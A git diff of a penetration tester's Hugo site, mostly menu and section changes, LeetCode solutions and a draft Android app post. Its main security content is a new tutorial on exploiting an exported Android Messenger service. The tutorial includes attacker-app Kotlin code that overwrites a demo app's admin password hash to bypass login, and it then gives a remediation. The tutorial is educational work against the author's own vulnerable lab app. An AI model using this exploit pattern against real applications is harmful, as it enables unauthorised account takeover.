diff --git a/config.toml b/config.toml index d695211..d7e1c08 100644 --- a/config.toml +++ b/config.toml @@ -9,8 +9,8 @@ url = "/" weight = 1 [[menu.main]] -name = "Security Blog" -url = "/blog" +name = "Security" +url = "/security" weight = 2 [[menu.main]] @@ -23,10 +23,15 @@ name = "Education" url = "/education" weight = 4 +[[menu.main]] +name = "Dev" +url = "/dev" +weight = 5 + [[menu.main]] name = "About" url = "/about" -weight = 5 +weight = 6 [params] @@ -36,7 +41,7 @@ weight = 5 # Main Page description = "Hi, I am Alberto Giust, aka `alright(21)?`, penetration tester at Spike Reply and security enthusiast. In this website you will find CTF writeups and other interesting things I want to document about my journey through the magical world of Cybersecurity." - mainSections = ["blog","ctf","education"] + mainSections = ["security","ctf","education","dev"] showAllPostsOnHomePage = true tagsOverview = false diff --git a/content/dev/_index.md b/content/dev/_index.md new file mode 100644 index 0000000..9f27cbf --- /dev/null +++ b/content/dev/_index.md @@ -0,0 +1,10 @@ +--- +title: "Dev Blog" +date: 2024-02-22T09:22:54+01:00 +draft: true +categories: +--- + +# Dev Blog + +In this section I will publish my research on development, exercises solutions, etc. \ No newline at end of file diff --git a/content/dev/leet_code.md b/content/dev/leet_code.md new file mode 100644 index 0000000..c93f63c --- /dev/null +++ b/content/dev/leet_code.md @@ -0,0 +1,241 @@ +--- +title: "Leet Code Exercises" +date: 2024-01-29T20:40:03+01:00 +draft: false +categories: dev +--- + +# Leet Code Exercises + +Here is a list of my Leet Code solution (non exaustive). I am following https://neetcode.io/roadmap + +## Contains Duplicate + +```python +class Solution: + def containsDuplicate(self, nums: List[int]) -> bool: + result = {} + + for item in nums: + if item in result: + return True + result[item] = True + + return False +``` +## Valid Anagram + +```python +class Solution: + def isAnagram(self, s: str, t: str) -> bool: + + res = {} + + for item in s: + if item in res: + res[item]+=1 + else: + res[item]=1 + + for item in t: + if item in res: + res[item]-=1 + if res[item]==0: + del res[item] + else: + return False + + if len(res)>0: + return False + + + return True +``` + + +## Two Sum + +```python +class Solution: + def twoSum(self, nums: List[int], target: int) -> List[int]: + + for i in range(len(nums)): + for j in range(i+1,len(nums)): + if nums[i] + nums[j] == target: + + return [i,j] +``` + +## Group Anagrams + +```python +class Solution: + + def groupAnagrams(self, strs: List[str]) -> List[List[str]]: + + res = {} + + for s in strs: + ss = str(sorted(s)) + if ss in res: + res[ss].append(s) + else: + res[ss] = [s] + + return (list(res.values())) +``` + +## Top K Frequent Elements + +```python +class Solution: + def topKFrequent(self, nums: List[int], k: int) -> List[int]: + if len(nums) == 1: + return [nums[0]] + + occ = {} + + for i in range(len(nums)): + if nums[i] in occ: + occ[nums[i]] += 1 + else: + occ[nums[i]] = 1 + + socc = sorted(occ.items(),key=lambda x:x[1],reverse=True) + + + v = list(dict(socc).keys()) + return v[0:k] +``` + +O(n) with buckets + + +## Product of Array Except Self + +```python +class Solution: + def productExceptSelf(self, nums: List[int]) -> List[int]: + answer = [1 for _ in range(len(nums))] + + pre = [1 for _ in range(len(nums))] + post = [1 for _ in range(len(nums))] + + for i in range(1,len(nums)): + pre[i] = pre[i-1] * nums[i-1] + + for i in range(len(nums)-2,-1,-1): + post[i] = post[i+1] * nums[i+1] + + for i in range(len(nums)): + answer[i] = pre[i] * post[i] + + + + return answer +``` + + +## Valid Sudoku + +```python +class Solution: + + def isValidRow(self,board,row): + + occ = {} + for i in range(9): + if board[row][i] != ".": + if board[row][i] in occ: + return False + else: + occ[board[row][i]] = True + + + return True + + def isValidColumn(self,board,column): + + occ = {} + + for i in range(9): + if board[i][column] != ".": + if board[i][column] in occ: + return False + else: + occ[board[i][column]] = True + + return True + + def isValidBox(self,board,row,column): + + occ = {} + for i in range(row,row+3): + for j in range(column,column+3): + if board[i][j] != ".": + if board[i][j] in occ: + return False + else: + occ[board[i][j]] = True + + return True + + def isValidSudoku(self, board: List[List[str]]) -> bool: + + for i in range(9): + if not self.isValidRow(board,i): + return False + + if not self.isValidColumn(board,i): + return False + + for i in range(3): + for j in range(3): + if not self.isValidBox(board,i*3,j*3): + return False + + + return True + +``` + +## Min Stack + +```python +class MinStack: + + def __init__(self): + self.stack = [] + self.min_stack = [] + + def push(self, val: int) -> None: + self.stack.append(val) + if len(self.min_stack) == 0: + self.min_stack.append(val) + else: + if self.min_stack[-1] >= val: + self.min_stack.append(val) + + + def pop(self) -> None: + v = self.stack.pop() + if self.min_stack[-1] == v: + self.min_stack.pop() + + + def top(self) -> int: + return self.stack[-1] + + + def getMin(self) -> int: + return self.min_stack[-1] +``` + + \ No newline at end of file diff --git a/content/dev/mobile_dev_mymenu.md b/content/dev/mobile_dev_mymenu.md new file mode 100644 index 0000000..79c6b33 --- /dev/null +++ b/content/dev/mobile_dev_mymenu.md @@ -0,0 +1,39 @@ +--- +title: "My Journey Through Developing an Android App in 2023" +date: 2023-09-26T11:20:24+02:00 +draft: true +categories: dev +--- + +Hei everyone! Since I am working in mobile application security, I thought it wuld be a great idea to develop something, in order to see this world on the other side. I will probably won't use a lot of (or any at all) critical functionalities, but I hope it will help you to learn something about Android development in 2023. + +This is not my first Android app. In 2019, I developed a weather app for my dad: [MeteOrsago](https://github.com/alright21/MeteOrsago). It is quite simple but it was interesting to me because I learnt how to handle API data (from a plain TXT file 😅) and show them on screen. I was quite proud of it, but I stopped developing it after I completed the goal of the app: show weather data from my house's weather station, and other data related to my city and region in Italy. + +When I started mobile security, I thought that the development was similar to it, except for the language (bye Java, welcome Kotlin), but I was unaware about Jetpack Compose and what Google developed recently. I was quite overwelmed, and I still do not know almost anything: I will probably make a lot of mistake because I haven't studied the theory a lot, but I am happy to learn from you if you have any suggestions. + + +## The Idea + +Nowdays, I live alone in Milan. There are countless advantages compared to living with parents, but every aspect of life is now on my control: cleaning the house, do groceries, organize your weekly menu, to name a few. I love preparing my meals everyday, but I prefer to have all the weekly menu organized, with all the ingredient already in my fridge. It has two advantages: you save time (you do groceries once a week) and you save money (you do not tend to buy randomly or what you do not necessary need). That's why I came up with this idea: a mobile application that creates the weekly menu for you. One step back: no AI and nothing fancy (for now): I just want to store a collection of meals, and every week the app will create the menu (on Sunday) for the week days. In the app, you should be able to: + +0. generate a random weekly menu by clicking on a button on the home page, if the menu has not been created yet. +1. see the current week menu on the home page. +2. move around different activities using a side menu +3. automatically archive old menu on the following Sunday. When this happens, the home page will have a single button to create the new menu +4. add, modify or delete meals inside a Meals activity. You should be able to see the list of the meals, and each meal should have a property `timeOfDay` to indicate if this meal is suitable for lunch or dinner (yeah, I am a bit strange) +5. see all the archived menus, in another actitity. Each menu will be identified by the current year and the week numer (1-52) + +Based on this info, this is what I came up with, drawn using my old iPad Air (I am not an expert on this). + +
+ MyMenu Prototype +
Prototype of MyMenu
+
+ +## Translating Ideas to Code + +Thinking about an app can be quite simple, but creating it, programming it, is a bit daunting for me. Since I do not know a lot about the newest way to develop an Android app, I need some info. I also love to architect my projects in the best possible way, following guidelines and best practices: I found out that Google offers some courses directly on [developer.android.com](https://developer.android.com/). I went through their [Modern Android App Architecture](https://developer.android.com/courses/pathways/android-architecture) but I stopped because there's was a lot I didn't know anything about. It is a completely new world! + +I decided to move my attention to some practical execises, and I think Android Developer's course called [Jetpack Compose for Android Developers](https://developer.android.com/courses/jetpack-compose/course) is great! Jetpack Compose offers great flexibility but you have to rethink your way of developing applications, especially on what concerns UI and UI management. For example, I learnt a lot about Composables (pieces of UI used as building blocks to create your screen), layouts and how you can place these composable following Material Guidelines, the concept of state, etc. If you are not comfortable with these concepts, I highly recommend these courses: Google has put a lot of effort in them, and they are all free! + + diff --git a/content/blog/_index.md b/content/security/_index.md similarity index 100% rename from content/blog/_index.md rename to content/security/_index.md diff --git a/content/security/exploiting_ipc_messenger.md b/content/security/exploiting_ipc_messenger.md new file mode 100644 index 0000000..5dfcf4c --- /dev/null +++ b/content/security/exploiting_ipc_messenger.md @@ -0,0 +1,262 @@ +--- +title: "Exploiting Exported Services: IPC Messenger" +date: 2024-02-22T09:30:26+01:00 +draft: false +categories: sec +--- + +# Exploiting Exported Services: IPC Messenger + +Hello everyone! It's `alright` here. In this article we will explore the concepts of exported components, bound services, and IPC (Inter-Process Communication) in Android, what are the risks associated to them and how we can exploit them when misconfigured. I will share a vulnerable application based on a real life example I encountered during my daily job. + +Prepare your Android knowledge and let's get started. + +## What is a Service +A [`Service`](https://developer.android.com/reference/android/app/Service) is an application component used to perform actions in background. A service does not run on a separate process or a separate thread and does not need a user interface. They are used for sending notifications, manage audio playback or create persistent connection between multiple processes for service-client communication. In this article we will focus our study on bound services used for inter-process communication. + +[Bound services](https://developer.android.com/develop/background-work/services/bound-services) are used to create a communication channel between app components or other processes and exchange data. This "channel" is created by calling `bindService()`, which is handled by `onBind()` callback. + +Developers can use services inside the application context, but sometimes they are used across applications. In this case, services needs to be `android:exported=true`. However, other applications installed on the device become authorized to interact with exported components, posing a security risk in some situations. To bind to an exported service, we need to write another application and call `bindService()` method from that using an appropriate intent (implicit intents are deprecated in this case, so we need to write an explicit one). + +## IPC with Messsenger + +As said before, this article focuses on inter-process communication using services. Developers can achieve that with a [Messenger](https://developer.android.com/reference/android/os/Messenger) (or AIDL, not covered here). A Messenger implements a Handler used to manage callbacks coming from the client using `handleMessage()`. When the Messenger instance is created, the server returns an IBinder to the client, which is used to instantiate the Messenger in the client side and to send Messages. You can see a detailed explanation [here](https://developer.android.com/develop/background-work/services/bound-services#Messenger). + +In this example, we consider the application with the Service as the server, and the application that connects to it the client. + +The **server** application implements the Service similarly to this example. + +*MessengerService.kt* +```kotlin +class MessengerService : Service() { + + private lateinit var mMessenger: Messenger + + internal class IncomingHandler( + looper: Looper, + context: Context, + private val applicationContext: Context = context.applicationContext + ) : Handler(looper) { + override fun handleMessage(msg: Message) { + when (msg.what) { + MSG_SAY_HELLO -> { + Toast.makeText( + applicationContext, "hello!", + Toast.LENGTH_SHORT).show() + Log.d("MESSENGER","HELLO") + } + + else -> super.handleMessage(msg) + } + } + + + } + override fun onBind(intent: Intent): IBinder { + Toast.makeText(applicationContext, "binding", Toast.LENGTH_SHORT).show() + mMessenger = Messenger(IncomingHandler(Looper.getMainLooper(),this)) + return mMessenger.binder + } + + +} + +``` +*AndroidManifest.xml* +```xml +... + + + + + + +... + +``` + +The **client** application connects to the service using the `android.intent.action.MESSENGER` action with an explicit intent. + +*MainActivity.kt* + +```kotlin +class MainActivity : AppCompatActivity() { + + private var mService: Messenger? = null + + private var bound: Boolean = false + + + private val mConnection = object : ServiceConnection { + + override fun onServiceConnected(className: ComponentName, service: IBinder) { + mService = Messenger(service) + bound = true + // we can now send messages + } + + override fun onServiceDisconnected(className: ComponentName) { + mService = null + bound = false + } + } + + override fun onStop() { + super.onStop() + if (bound) { + unbindService(mConnection) + bound = false + } + } + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + setContentView(R.layout.activity_main) + + Intent("android.intent.action.MESSENGER") + .setPackage("com.alright.serviceserver") + .also { intent -> + val res = bindService(intent, mConnection, Context.BIND_AUTO_CREATE) + Log.e("bound", res.toString()) + } + } +} +``` + +## Exploitation + +Now that we have defined the components we can see how to exploit this weakness in a real-life example. What I found during my studies was an application that exposed a service to other application in order to execute some actions on the app. The purpose of this setup was for remotely control the app from the web. There was another application that served as a "proxy" from the web to the victim application. This application implements a Service that receives messages and, based on `msg.what`, it performs action. This application had a reserved area protected by a password, which could be updated remotely using the application "proxy". Here is the design. + +
+ Messenger App Design +
Messenger Application Design
+
+ +As you may have already noticed, there is a problem with this design: any other application can act as the "proxy" and send messages to the Victim Service App. + +I created a similar vulnerable application and the attacker application: you can find it on github. If you want to solve it by yourself, just install the *ServiceServer* app and try to code the *ServiceClient* app. + +The application has a simple login page, where we can try to input some parameters, but we are not able to find any info here. + +
+ Messenger App Login +
Messenger Application Login Page
+
+ +Let's start by having a look at the application with `Jadx-gui`. The app has three main classes: *MainActivity*, *AdminPageActivity* and *MessengerService*. + +
+ Messenger App Structure +
Messenger Application Structure
+
+ +The *MainActivity* initialize the *sharedPreferences* file with the username and the password hash of the login. Here we can see that the username is `root`. In fact, if we try this username with a random password, we get a Toast message saying "Incorrect Password". Half of the job done. + +
+ Messenger App Preferences +
Messenger Application sharedPreferences
+
+ +In this example, the original password is a sha256 hash, so we could crack it if the password is weak, but this is not the case (if you can crack it, let me know ahah). We have to find another way to bypass this page. + +Let's have a look at the *MessengerService* class, where the Service is implemented. Inside the *AndroidManifest.xml* we can see that this service is `exported` and accepts an intent with action name `android.intent.action.MESSENGER`. + +The Service implements the `handleMessage()` callback and accepts two type of `what`: +- 1: creates a Toast message and displays it +- 2: updates the password with a new hash + +You probably already know where we are going: we need to send a message to the service with a known password hash in order to update the password and enter the administration page. How we can do it? + +We need to create a malicious application that interacts with the service, binds to it, and sends a message containing the new password hash. Based on the information we detailed above, the process of creating the application should be quite easy. Here is an example of the code we can use. + +*MainActivity.kt* + +```kotlin +class MainActivity : AppCompatActivity() { + + private var mService: Messenger? = null + + private var bound: Boolean = false + + + private val mConnection = object : ServiceConnection { + + override fun onServiceConnected(className: ComponentName, service: IBinder) { + mService = Messenger(service) + bound = true + updatePassword() + } + + override fun onServiceDisconnected(className: ComponentName) { + mService = null + bound = false + } + } + + + fun updatePassword(){ + if (!bound) return + val msg: Message = Message.obtain(null,2,0,0) + val data = Bundle() + data.putString("hash","2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824") + + msg.data = data + + try { + mService?.send(msg) + Toast.makeText(this,"Password Updated", Toast.LENGTH_SHORT) + }catch (e:RemoteException){ + e.printStackTrace() + } + } + + + override fun onStop() { + super.onStop() + if (bound) { + unbindService(mConnection) + bound = false + } + } + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + setContentView(R.layout.activity_main) + + Intent("android.intent.action.MESSENGER").setPackage("com.alright.serviceserver").also { intent -> + val res = bindService(intent, mConnection, Context.BIND_AUTO_CREATE) + Log.e("bound", res.toString()) + } + } +} +``` + +From Android 11, we also need to add a `queries` tag inside the attacker application, in order to list the application we want to interact to. + +*AndroidManifest.xml* +```xml + + + +``` + +By running the application, we will see a Toast message saying that the password has been updated. The attack is done! We updated the password with a well-known hash, so we can easily log in into the application. + +## Remediation +Ok, the attack is cool, and the easy solution could be to not export the Service. However, it is necessary to export it when we need to do IPC between application. So, how can we protect our application? + +As shown in the [Android Developer](https://developer.android.com/privacy-and-security/security-tips#interprocess-communication) page, we can add a row inside the Manifest to only allow applications with the same signature to access and bind to the service (use `signature-level` permission inside `android:protectionLevel`). + +And that's all for today! If you have any questions or doubts just let me know:) + + +## References + +- https://developer.android.com/reference/android/app/Service +- https://developer.android.com/develop/background-work/services +- https://developer.android.com/develop/background-work/services/bound-services#kotlin +- https://developer.android.com/develop/background-work/services/bound-services#Messenger +- https://proandroiddev.com/ipc-techniques-for-android-messenger-3e8555a32167 +- https://github.com/perihanmirkelam/IPC-Examples +- https://developer.android.com/privacy-and-security/security-tips#services \ No newline at end of file diff --git a/content/blog/mobile_extract_info.md b/content/security/mobile_extract_info.md similarity index 99% rename from content/blog/mobile_extract_info.md rename to content/security/mobile_extract_info.md index ca678ca..01ca59a 100644 --- a/content/blog/mobile_extract_info.md +++ b/content/security/mobile_extract_info.md @@ -2,7 +2,7 @@ title: "Extract App Information from APK and IPA Package" date: 2024-01-07T10:15:31+01:00 draft: false -categories: blog +categories: sec --- # Extract App Information from APK and IPA Package diff --git a/content/blog/mobile_flutter.md b/content/security/mobile_flutter.md similarity index 99% rename from content/blog/mobile_flutter.md rename to content/security/mobile_flutter.md index 62d4d06..1159e88 100644 --- a/content/blog/mobile_flutter.md +++ b/content/security/mobile_flutter.md @@ -2,7 +2,7 @@ title: "Intercepting Traffic in Mobile Flutter Applications" date: 2023-08-01T08:50:38+02:00 draft: false -categories: blog +categories: sec --- # Intercepting Traffic in Mobile Flutter Applications diff --git a/content/blog/mobile_nohttp.md b/content/security/mobile_nohttp.md similarity index 99% rename from content/blog/mobile_nohttp.md rename to content/security/mobile_nohttp.md index ea7fdc1..7841fbd 100644 --- a/content/blog/mobile_nohttp.md +++ b/content/security/mobile_nohttp.md @@ -2,7 +2,7 @@ title: "Intercepting Non-HTTP Traffic in Android" date: 2023-09-06T12:25:03+02:00 draft: false -categories: blog +categories: sec --- # Intercepting Non-HTTP Traffic in Android diff --git a/content/blog/mobile_security_intro.md b/content/security/mobile_security_intro.md similarity index 99% rename from content/blog/mobile_security_intro.md rename to content/security/mobile_security_intro.md index 39a2910..c51337a 100644 --- a/content/blog/mobile_security_intro.md +++ b/content/security/mobile_security_intro.md @@ -2,7 +2,7 @@ title: "Mobile Security Introduction" date: 2023-07-23T18:00:00+02:00 draft: false -categories: blog +categories: sec --- # Mobile Security Introduction diff --git a/content/blog/mobile_security_native.md b/content/security/mobile_security_native.md similarity index 99% rename from content/blog/mobile_security_native.md rename to content/security/mobile_security_native.md index 8d56b24..02a7493 100644 --- a/content/blog/mobile_security_native.md +++ b/content/security/mobile_security_native.md @@ -2,7 +2,7 @@ title: "Reversing and Hooking Native Libraries in Android with Frida" date: 2023-10-26T18:01:16+02:00 draft: false -categories: blog +categories: sec --- # Reversing and Hooking Native Libraries in Android with Frida